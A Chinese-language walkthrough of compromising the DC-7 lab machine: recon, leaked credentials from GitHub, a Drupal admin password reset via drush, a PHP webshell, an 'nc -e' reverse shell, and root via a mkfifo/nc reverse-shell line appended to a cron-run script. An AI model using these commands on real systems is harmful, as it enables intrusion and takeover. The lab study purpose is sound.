DC-7靶机渗透测试
1. 信息收集
1.1 主机扫描
netdiscover -r 192.168.188.157 -i eth0
1.2 端口扫描
nmap -sS -sV -A -p- 192.168.188.177
发现DC-7开放了22端口和80端口。
Web页面访问
Wappalyzer扫描
Drupal:Drupal是使用PHP编写的流行的开源内容管理系统。
1.3 目录扫描
dirsearch -u 192.168.188.177 -e * -i 200
发现登录页面/user/login,进入到该页面查看。
在尝试发现这里无法使用暴力破解或者字典攻击等。
DC-7作者给出的提示
在左下角发现了一个 @DC7USER
使用浏览器查看,发现是一个 GitHub项目。进到Dc7User的github里面,在一个**config.php
**文件里出现用户名和密码信息。
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
2. SSH远程登录
使用获取到了用户名密码进行ssh远程登录。
ssh dc7user@192.168.188.177
登录成功,查看都有哪些文件。
发现了两个文件**backups
和mobx
文件夹,查看backups
**文件。
发现了两个后缀名为**.gpg
**的文件,百度搜索一下该后缀。
.gpg
后缀的文件通常是使用 GNU Privacy Guard (GPG) 或类似的加密软件创建的加密文件。GPG 是一个开源的加密工具,用于确保数据的机密性和完整性。
.gpg
文件是经过加密的文件,其中包含了原始文件的内容,但使用了加密算法对其进行了保护。这些文件经过加密后,只能通过相应的私钥或密码进行解密,以还原到原始文件。
使用 GPG 可以为文件、文本消息、电子邮件等创建加密和解密操作。通过使用公钥加密算法和对称密钥加密算法,GPG 可以将数据加密并保护其安全性,同时确保只有拥有相应私钥或密码的人才能解密和访问数据。
需要注意的是,.gpg
文件本身并不能直接打开或查看其内容,因为它们经过加密保护。要解密 .gpg
文件并访问其中的内容,需要使用相应的加密软件(如 GPG)和正确的私钥或密码来进行解密操作。
查看mbox文件,发现在/opt/scripts/
有个可以执行的脚本文件 backups.sh
。
进入到/opt/scripts目录下进行查看
cd /opt/scripts/ # 进入目录
cat backups.sh # 查看文件
提示说切换到/vat/www/html下,执行drush命令。
Drush(全称:Drupal Shell)是一个用于管理和维护 Drupal 内容管理系统的命令行工具。它提供了一组用于执行常见 Drupal 管理任务的命令,并允许开发人员在命令行界面上快速自动化执行这些任务。用于管理和操作drupal站点,可以用来修改管理员密码。
查看drush的命令
进入到指定目录下执行drush命令。
drush user-password admin --password="123456" # 修改密码
drush user-password admin --password="123456"
是一个使用 Drush 命令行工具的命令,用于修改 Drupal 站点中管理员账户(admin)的密码。
具体解析该命令如下:
-
drush
:这是执行 Drush 命令的关键字。
-
user-password
:这是 Drush 命令的子命令,用于修改用户密码。
-
admin
:这是要修改密码的目标用户,这里是指管理员账户。
-
--password="123456"
:这是一个选项,用于指定新密码。在等号后面指定新密码,这里的新密码是 “123456”。
返回返回到web页面进行登录
登录成功!
3. 漏洞发现
浏览页面中在Manage下的Content,然后点击Add content
点击Article
尝试添加php一句话木马,发现Drupal 8版本以后为了安全需要将php单独作为一个模块导入。需要去扩展里下载安装
安装扩展,以URL的形式安装php8
在输入框输入下载路径
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
安装成功, 选第二个即可。
在Extend里的List里,往下滑动,找PHP有关的,勾选上PHP Filter往下滑点击install。
安装完成
4. 漏洞利用
然后来到Content进行编辑,添加php木马代码,保存text format设置为PHP code最后点击save保存即可。
首页显示创建成功
查看刚刚上传的一句话木马所在的位置
http://192.168.188.177/node/4
使用中国蚁剑进行连接
kali开启监听4444端口
nc -lvp 4444
通过蚁剑的虚拟终端进行反弹shell
nc -e /bin/bash 192.168.188.157 4444
反弹成功后设置python交互
python -c 'import pty;pty.spawn("/bin/bash")'
查看权限,发现当前权限比较低,进行提权。
5. 提权
在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell。
kali监听9999端口
要对之前的 backups.sh 脚本写入反弹命令。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.188.157 9999 >/tmp/f" >> backups.sh
这个命令会将一条具有恶意的 Shell 脚本追加到 backups.sh
文件中。
下面对该命令进行详细解析:
-
echo "..."
:这是用于输出文本的命令。在双引号内部的内容将被输出。
-
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.188.157 9999 >/tmp/f"
:这是要输出的具体内容,即恶意的 Shell 脚本。
-
rm /tmp/f
:删除名为 /tmp/f
的文件,如果该文件存在的话。
-
mkfifo /tmp/f
:创建一个命名管道(FIFO),名为 /tmp/f
。
- 命名管道(FIFO)是一种特殊类型的文件,用于实现进程间通信。它是一种单向通信机制,允许一个进程写入数据到管道,而另一个进程则可以从同一个管道读取相应数据。
- 命名管道在创建时会在文件系统中产生一个文件节点,当进程打开该文件并进行读取/写入操作时,其行为类似于对普通文件的操作。但不同于普通文件,命名管道没有实际的文件内容,它只是作为进程之间的通信通道。
-
cat /tmp/f | /bin/sh -i 2>&1
:将 /tmp/f
的内容通过管道传递给 /bin/sh
,这会执行一个交互式的 Shell。
-
nc 192.168.188.157 9999 >/tmp/f
:将 /bin/sh
的输入和输出通过网络连接到 IP 地址为 192.168.188.157
、端口为 9999
的远程主机,并将输出重定向到 /tmp/f
文件中。
-
>> backups.sh
:将前面输出的内容追加到名为 backups.sh
的文件末尾。若该文件不存在,则会创建一个新文件。
查看命令是否写入
写入命令后在这里等待的时间较长,因为这个脚本是一个定时执行的脚本。
然后就进到root家目录获取最终flag。